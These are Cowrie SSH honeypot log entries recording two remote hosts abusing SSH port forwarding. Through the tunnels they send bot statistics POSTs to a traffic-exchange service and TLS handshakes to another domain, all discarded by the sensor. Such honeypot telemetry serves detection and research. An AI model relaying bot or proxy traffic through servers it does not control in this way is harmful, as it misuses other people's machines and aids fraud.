{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1170\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TXdtS1JXVmZLcHVheEtFRQ%3D%3DfRmcq1ZuIQfOM%2FlwPUa0vaoruKTN58RoMbSypcqIY2f6MUJTOgpTXZFTH4dVFDyWp2c2AIwF3o2dIVvU%2Bk3mQnQA4o0BXDM2UEQb3wNl1k9RPh2wkf16EiIJ4NizNORx1QbNTxej%2Fbw7L98s89CQ8zJsFAFNpwNtcZCyfLPgdgUofko2bmhv5mdud0ajOffChY3xQDKDrPoeIdiK%2FQIKqP%2B88UdeCFr5RbVA4EAyw9%2F%2FX%2BHx2Cv0xpprj3FpBz5FjvSjhtj3o3VZXUljg9BdTHFXArcEoEYw7ozi0MmU6VDlXZtMmQpPBkY3joJXforzvanmevol7s7yL2vUDnlHvY%2Fc%2Fp1DXq94yZNTr6JScft%2BKsBfacbxgtLdZ2TrXOvVs1aXu2IEB9wHJtZyZbfCG6kRwdcPcINcLLnfWgpc92Y8Zxt1ps1HoAh7MO9b9rpgcxvXtzXxA7DF4DAgD2p8tDZPB3rxEgq7JKuUyBY%2BmZUFVjN2VauwbfYYz1wXQYUqMPnuZ%2Fna6RPPLIlycFd2gZ%2Be1BWYOj71rwqyTDtVG7%2F5fK%2FP7d%2B5YU2Px1bEzr4Qdj9tzEXZDqlaiUFu5s%2BX5qor%2BuvdDuWkln9zkHrhFSUGq04FP7%2Bu%2BX2XrihrkKZJcA06DJ7yVoubzxhO9SQ%2FhLyR%2BPnzxiSlyLYZEXgOq8NQLzL%2Bl3i91jQyX6C5m%2FbS2bZ5e6MzFozTQu5Qa6VfkLsX%2B8DdidEIdgSoIrW4aPOZft7mLMpgZvLJv9YjLxi9dN36AsymsrpLG5S3YAFyiFDEwrMAg49pR%2BaFXj1lQdA5c3NV%2FGJS6LH7gODGOTVExHtlzRstSzJcTx9WIHLZrg1P9uwgEXAZe0k9rodhsC%2Bh2zTJQ%2B211cfBcBhhoiYg%2FrKnq6CC3N6izYKS1NAjaHmnD4BSEggK1manYGvmevsaafNIydlyIkvrna25eKawLN%2FC1lmPWHhz0xnPp%2FSvp8B%2BJUujWK331Dhyn4wZJHw5bmWKv6uV3pwe8yBDKtfmv7X5oApc7if9FxrvzbXYGbSzpMuqPMl5HnV%2ByOJOfCA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1170\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TXdtS1JXVmZLcHVheEtFRQ%3D%3DfRmcq1ZuIQfOM%2FlwPUa0vaoruKTN58RoMbSypcqIY2f6MUJTOgpTXZFTH4dVFDyWp2c2AIwF3o2dIVvU%2Bk3mQnQA4o0BXDM2UEQb3wNl1k9RPh2wkf16EiIJ4NizNORx1QbNTxej%2Fbw7L98s89CQ8zJsFAFNpwNtcZCyfLPgdgUofko2bmhv5mdud0ajOffChY3xQDKDrPoeIdiK%2FQIKqP%2B88UdeCFr5RbVA4EAyw9%2F%2FX%2BHx2Cv0xpprj3FpBz5FjvSjhtj3o3VZXUljg9BdTHFXArcEoEYw7ozi0MmU6VDlXZtMmQpPBkY3joJXforzvanmevol7s7yL2vUDnlHvY%2Fc%2Fp1DXq94yZNTr6JScft%2BKsBfacbxgtLdZ2TrXOvVs1aXu2IEB9wHJtZyZbfCG6kRwdcPcINcLLnfWgpc92Y8Zxt1ps1HoAh7MO9b9rpgcxvXtzXxA7DF4DAgD2p8tDZPB3rxEgq7JKuUyBY%2BmZUFVjN2VauwbfYYz1wXQYUqMPnuZ%2Fna6RPPLIlycFd2gZ%2Be1BWYOj71rwqyTDtVG7%2F5fK%2FP7d%2B5YU2Px1bEzr4Qdj9tzEXZDqlaiUFu5s%2BX5qor%2BuvdDuWkln9zkHrhFSUGq04FP7%2Bu%2BX2XrihrkKZJcA06DJ7yVoubzxhO9SQ%2FhLyR%2BPnzxiSlyLYZEXgOq8NQLzL%2Bl3i91jQyX6C5m%2FbS2bZ5e6MzFozTQu5Qa6VfkLsX%2B8DdidEIdgSoIrW4aPOZft7mLMpgZvLJv9YjLxi9dN36AsymsrpLG5S3YAFyiFDEwrMAg49pR%2BaFXj1lQdA5c3NV%2FGJS6LH7gODGOTVExHtlzRstSzJcTx9WIHLZrg1P9uwgEXAZe0k9rodhsC%2Bh2zTJQ%2B211cfBcBhhoiYg%2FrKnq6CC3N6izYKS1NAjaHmnD4BSEggK1manYGvmevsaafNIydlyIkvrna25eKawLN%2FC1lmPWHhz0xnPp%2FSvp8B%2BJUujWK331Dhyn4wZJHw5bmWKv6uV3pwe8yBDKtfmv7X5oApc7if9FxrvzbXYGbSzpMuqPMl5HnV%2ByOJOfCA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.989968Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.995528Z","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.209434Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.50\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VCR3TEd4aWg2OWhqKT5FYw%3D%3DSr2WBeTsHSLOAd5q1I4Udu9H0Vhev9wF6pUgP%2FEP2qNrEpMW%2BXGq1eEjmiaNlfWL0Q%2BLxh7Mq9MAcO8K4I7dcyvQ2E%2Bvqlbo1CCZwpleheLqRF4V5n5EJhlBE37N8SPAdyXA6HDa%2FXWCAT2alyhPr0dGI0aHT%2BrzM5kIGcAuo6L00zR3%2BEey3O%2BHF8wau80qsaewo6Jwzj0N%2FjN%2BujpdTI5uJTIqT%2FlAGKFfSofU9AAaAX%2B3BJ5tXtYlKqhhxkzO5DwXXZsV1fZJSmseOOkhPcgEiSPXh5bfmP6tDsoZwYqHgut532YQ06HcvhZVu4QsGNdV%2FDNuc9cfTZC8IXBK%2FbL%2Bo16rSuLuLxNsqSUqjY8e7nEkpZikt2Fq7eNXV%2B4Wg%2FId3x6pyFx%2BqQAJVyeHuxH8nKV2CZod2yjEFuiIUdcB6oE%2F9gbkRkyLlgMg6AIQ5cbKO3oxIkSfG3%2BsgNFZx%2FpBrpK%2FwFoiz2hLi6WwZUz45z7F5F8hHOHZsOmjRMTs7HuC%2Fq5fjjE6Ka8SdPbwj%2Bjp2KXmn4HSEdQP1ch%2FO6vQdNGNEJM76dTSeTMhoFD1%2Bc084O7BnbhkNAedEaOecah%2F6UDUe5169NqnRtlKic4awVg%2BhhD%2BvYnClGNA0dLxiMGRBbFi%2BcG4zSZgajcpRgtU3FxjinMGzrpc4TUE4bOCHnNCEOoUX3diM3gs0trgbHlsfE2n9q6TYPtbCU0iiOOLT%2BuJF5gMdAeEQWI3oarmvd4DGdEKu5PAFve40V731QahHMl63s5kCZaAnXMi4zV2pZIIsTygkLDaNj84Cu7oMCttS3ZU%2F2yxc8xCESXbZI06iNzwmtzzfGqjRAL%2BDlaCX06FmISehZjbPD%2FbahwOjNx099T1riW3ivS%2BoeOwHiIGeflbmalhHi5sxOYNUGTEPWaPH4GHY%2F8h7nWmMdHj9e8qjNDzDQEefFFCspZdA2lQyGqLKMpjCNDiHcmpOc%2BCy40F5BVXZBebqE3hC3iKrGZaMP07duhQEopuGBhbaND6xTGqxmIi6GCPtL9NcK5HMsCEyQlPraY7xpbkjLo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.50\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VCR3TEd4aWg2OWhqKT5FYw%3D%3DSr2WBeTsHSLOAd5q1I4Udu9H0Vhev9wF6pUgP%2FEP2qNrEpMW%2BXGq1eEjmiaNlfWL0Q%2BLxh7Mq9MAcO8K4I7dcyvQ2E%2Bvqlbo1CCZwpleheLqRF4V5n5EJhlBE37N8SPAdyXA6HDa%2FXWCAT2alyhPr0dGI0aHT%2BrzM5kIGcAuo6L00zR3%2BEey3O%2BHF8wau80qsaewo6Jwzj0N%2FjN%2BujpdTI5uJTIqT%2FlAGKFfSofU9AAaAX%2B3BJ5tXtYlKqhhxkzO5DwXXZsV1fZJSmseOOkhPcgEiSPXh5bfmP6tDsoZwYqHgut532YQ06HcvhZVu4QsGNdV%2FDNuc9cfTZC8IXBK%2FbL%2Bo16rSuLuLxNsqSUqjY8e7nEkpZikt2Fq7eNXV%2B4Wg%2FId3x6pyFx%2BqQAJVyeHuxH8nKV2CZod2yjEFuiIUdcB6oE%2F9gbkRkyLlgMg6AIQ5cbKO3oxIkSfG3%2BsgNFZx%2FpBrpK%2FwFoiz2hLi6WwZUz45z7F5F8hHOHZsOmjRMTs7HuC%2Fq5fjjE6Ka8SdPbwj%2Bjp2KXmn4HSEdQP1ch%2FO6vQdNGNEJM76dTSeTMhoFD1%2Bc084O7BnbhkNAedEaOecah%2F6UDUe5169NqnRtlKic4awVg%2BhhD%2BvYnClGNA0dLxiMGRBbFi%2BcG4zSZgajcpRgtU3FxjinMGzrpc4TUE4bOCHnNCEOoUX3diM3gs0trgbHlsfE2n9q6TYPtbCU0iiOOLT%2BuJF5gMdAeEQWI3oarmvd4DGdEKu5PAFve40V731QahHMl63s5kCZaAnXMi4zV2pZIIsTygkLDaNj84Cu7oMCttS3ZU%2F2yxc8xCESXbZI06iNzwmtzzfGqjRAL%2BDlaCX06FmISehZjbPD%2FbahwOjNx099T1riW3ivS%2BoeOwHiIGeflbmalhHi5sxOYNUGTEPWaPH4GHY%2F8h7nWmMdHj9e8qjNDzDQEefFFCspZdA2lQyGqLKMpjCNDiHcmpOc%2BCy40F5BVXZBebqE3hC3iKrGZaMP07duhQEopuGBhbaND6xTGqxmIi6GCPtL9NcK5HMsCEyQlPraY7xpbkjLo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.213942Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.280876Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac*\\xa1\\xe7\\xa9\\xe4{\\xfc\\xfdy~BP\\xbe*\\xf5\\x15Z\\xedW9r\\xac\\x0b\\x87\\xa1\\x17\\xabi\\xcd\\xddr \\xb9\\x1e\\xb9kW\\xd0.\\x92\\xa5e\\x0c\\xdb\\x91\\xc7\\xa7G%\\xc7\\xa3gD\\xd3,\\xf49\\x13:\\x0c\\x9dP\\xfe|\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 y|\\x08kz]?\\xbe\\xd1\\x18\\x11y4\\xcd\\x12\\xa9\\xe3\\xb6\\xd7f\\x14\\xcfxa\\t(P\\x96\\xc1S>9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac*\\xa1\\xe7\\xa9\\xe4{\\xfc\\xfdy~BP\\xbe*\\xf5\\x15Z\\xedW9r\\xac\\x0b\\x87\\xa1\\x17\\xabi\\xcd\\xddr \\xb9\\x1e\\xb9kW\\xd0.\\x92\\xa5e\\x0c\\xdb\\x91\\xc7\\xa7G%\\xc7\\xa3gD\\xd3,\\xf49\\x13:\\x0c\\x9dP\\xfe|\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 y|\\x08kz]?\\xbe\\xd1\\x18\\x11y4\\xcd\\x12\\xa9\\xe3\\xb6\\xd7f\\x14\\xcfxa\\t(P\\x96\\xc1S>9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.284045Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.453141Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\x91}W\\x92v\"N:\\x9a\\x8f\\xa7\\xce\\x0fNm\\xf0k\\xd5\\xf1\\x8c\\xeb\\x8f\\xdb\\x01\\x95A*^D\\xfa\\x86 ,9\\xce\\x01(]*s)\\xc9\\xc3\\xf5\\xc4\\xb3\\xed\\xb7\\x7fx\\xd7\\x90*\\x06\\xde\\x1c\\xfe\\x01\\x15G\\x13\\xe7\\x03\\xe1\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdbi\\x08\\xf1\\xa8go\\x84vE\\x15\\x1e\\xe3\\xe0\\xcd\\xb0\"\\xef\\xc3\\xd8\\xddr\\x8bgP\\xf5\"\\x15\\x05=\\x9d;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\x91}W\\x92v\"N:\\x9a\\x8f\\xa7\\xce\\x0fNm\\xf0k\\xd5\\xf1\\x8c\\xeb\\x8f\\xdb\\x01\\x95A*^D\\xfa\\x86 ,9\\xce\\x01(]*s)\\xc9\\xc3\\xf5\\xc4\\xb3\\xed\\xb7\\x7fx\\xd7\\x90*\\x06\\xde\\x1c\\xfe\\x01\\x15G\\x13\\xe7\\x03\\xe1\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdbi\\x08\\xf1\\xa8go\\x84vE\\x15\\x1e\\xe3\\xe0\\xcd\\xb0\"\\xef\\xc3\\xd8\\xddr\\x8bgP\\xf5\"\\x15\\x05=\\x9d;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.457275Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.578949Z","session":"ab085ca02e00","protocol":"ssh"}
